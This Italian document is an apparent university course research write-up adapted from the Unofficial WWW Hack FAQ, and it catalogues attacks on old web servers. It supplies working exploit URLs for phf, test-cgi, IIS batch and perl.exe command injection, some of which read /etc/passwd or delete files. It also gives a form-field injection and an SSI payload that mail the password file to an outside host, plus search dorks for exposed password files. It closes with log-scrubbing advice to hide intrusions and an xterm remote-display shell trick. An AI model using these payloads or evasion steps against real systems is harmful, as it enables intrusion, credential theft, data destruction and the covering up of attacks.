Questo documento fa parte di un lavoro di ricerca che ho preparato assieme ai miei colleghi Raffaele Spangaro e Walter Vendraminetto per il corso di Reti di Calcolatori. Il contenuto è tratto principalmente da The Unofficial WWW Hack FAQ.
Come ho letto in molti documenti che ho consultato per la ricerca, queste informazioni possono essere utilizzate per imparare a difendersi da eventuali attacchi o per violare un sistema. Sta a voi la scelta.
In ogni caso ricordate che è possibile anche finire "in gattabuia". Uomo avvisato...
Il file phf è un esempio di script CGI che viene utilizzato per aggiornare una lista di numeri telefonici di persone. Per default molti siti hanno questo file nella loro /cgi-bin/ senza nemmeno saperlo.
Comunque sia, phf si comporta in maniera differente se si inserisce il caratteri di newline (0a) nella riga di query. Ecco un tipico attacco per un server Unix:
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= http://thegnome.com/~someuser/passwd http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= |
id |
Discorso analogo per il file incluso in molti server ed utilizzato per controllare che le variabili d'ambiente ed altre informazioni vengano passate correttamente al server durante l'interrogazione.
Assumendo che il file, come spesso accade, si chiami test-cgi, il comando da impartire è
http://thegnome.com/cgi-bin/test-cgi?\qualcosa
|
CGI/1.0 test script report: argc is 0. argv is . SERVER_SOFTWARE = NCSA/1.4B SERVER_NAME = thegnome.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/1.0 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = text/plain, application/x-html, application/html, text/html, text/x-html PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /cgi-bin/test-cgi QUERY_STRING = whatever REMOTE_HOST = fifth.column.gov REMOTE_ADDR = 200.200.200.200 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = |
Ancora una volta il carattere 0a può essere utilizzato per ottenere altre informazioni (utilizzare un asterisco per specificare "nulla"):
http://thegnome.com/cgi-bin/test-cgi?\help%0a/bin/cat%20/etc/passwd
|
http://thegnome.com/cgi-bin/test-cgi?* HTTP/1.0
http://thegnome.com/cgi-bin/test-cgi?x *
http://thegnome.com/cgi-bin/nph-test-cgi?* HTTP/1.0
http://thegnome.com/cgi-bin/nph-test-cgi?x *
|
Il carattere ~ viene utilizzato per dal server per risolvere un URL come home directory di un utente. Ad esempio Apache su BSD sostituisce questo carattere con l'home directory ricavata dal file di password, ma altre piattaforme utilizzano lo stesso sistema.
Cosí, se il sistema non è ben configurato, è possibile accedere alle directory di alcuni utenti speciali
http://thegnome.com/~root |
Ancora piú semplice per "utenti" come daemon o uucp, perché questi, solitamente, hanno come home directory la radice /.
Praticamente ogni sito che si rispetti possiede nelle sue pagine un indirizzo e-mail da contattare per ottenere ulteriori informazioni o spedire commenti vari. Spesso capita anche che, per non dover modificare lo script CGI, il webmaster decida di inserire nelle sue pagine HTML istruzioni del tipo
<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@thegnome.com"> |
Lo stesso webmaster avrà probabilmente scritto un paio di righe in C (ma anche il Perl andrebbe benissimo) che, senza alcun ulteriore controllo sull'input esegua delle istruzioni del tipo
sprintf(buffer, "/usr/lib/sendmail -t %s < %s", foo_address, input_file); system(buffer); |
Il sistema è facilmente penetrabile modificando la pagina HTML contenente la form nel seguente modo
<INPUT TYPE="hidden" NAME="HelpAddress" VALUE="help@thegnome.com;cat /etc/passwd | mail thegnome@5th.column.gov"> |
L'SSI è un modo per implementare speciali operazioni e
comandi in un documento HTML. L'applicazione tipica è il
L'idea è semplice:
Ecco come potrebbe apparire l'SSI
<!--#exec cmd="mail me@my.org < cat /etc/passwd"--> |
È possibile che l'SSI sia abilitato, ma che venga tolto dall'input della form. In questo caso, se il server possiede un directory /incoming accessibile sia in scrittura che in lettura, si può anche preparare un file HTML che contenga il codice SSI e caricarlo nella directory /incoming. Aprendo il file con il proprio browser, si attiverà lo script SSI.
L'installazione della versione 1.0 lascia il sistema piuttosto aperto. Assumendo /scripts come directory CGI e pfieffer.bat il nome di un file che non esiste in tale directory, se si impartisce il comando
http://www.target.com/scripts/pfieffer.bat?&dir+c:\+?&time
|
dir
e c:\
senza che
il nostro intervento vengaregistrato. Il comando
time
, infatti, non terminerà mai e la nostra
rinuncia al salvataggio non registrerà la transazione.
Un altro problema che presentava questo server era quello di
telnet nt.thegnome.com 80 (assuming port 80 for httpd) |
In questo caso il file che si utilizza nella linea di comando deve essere presente nella directory CGI. Ad esempio il comando
http://www.target.com/cgi-bin/perl.exe?&-e+unlink+%3C*%3E
|
Come abbiamo visto gli attacchi WWW servono principalmente al reperimento di informazioni sugli utenti che hanno accesso al sistema per assumere la loro identità ed ampliare le nostre possibilità di accesso.
Tali informazioni sono a volte reperibile anche attraverso i motori di ricerca che utilizziamo abitualmente per le nostre ricerche. Ad esempio, immettendo la stringa seguente in Altavista
url:etc AND link:passwd
|
Altre informazioni utili possono essere ricavate dal risultato delle interrogazioni seguenti:
proprietary AND copyright AND confidential |
Le password criptate possono essere dati in pasto ad uno dei numerosi programmi di cracking in circolazione, che tentano di decifrare la parola d'accesso basando la loro ricerca su un sottoinsieme significativo dell'univeso di chiavi possibili.
Un'altra importante fonte di informazioni è la rete USENET. Gli amministratori di sistema, infatti, si scambiano spesso messaggi sugli script che intendono realizzare. Esaminando i testi dei loro messaggi, ad esempio con DejaNews, è possibile venire a conoscenza del sistema operativo utilizzato, del linguaggio che implementa i CGI, il tipo di server di posta o quello FTP. Con queste notizie alla mano, un buon hacker ha già gli elementi sufficienti per cominciare a sferrare un attacco, soprattutto se il software utilizzato è già stato compromesso in qualche altra situazione.
Per riuscire a risalire all'autore di un attacco, gli amministratori di sistema hanno a disposizione diversi strumenti che permettono di tracciare i comandi impartiti alla macchina.
Il metodo migliore per cancellare le proprie tracce è quello di preparare uno script che, sfruttando principalmente i comandi grep e cat, ripulisca i file dal contenuto indesiderato. Pre-requisiti indispensabili sono avere i permessi di lettura e scrittura a tali file e la conoscenza di quali file andare a ritoccare, per poter lasciare velocemente il sistema in caso di emergenza.
Volete sapere qual'è il comando che vi potrebbe spalancare le porte del paradiso? Se state lavorando in un ambiente grafico, è sicuramente questo:
xterm -display my.ip.address:0 &
|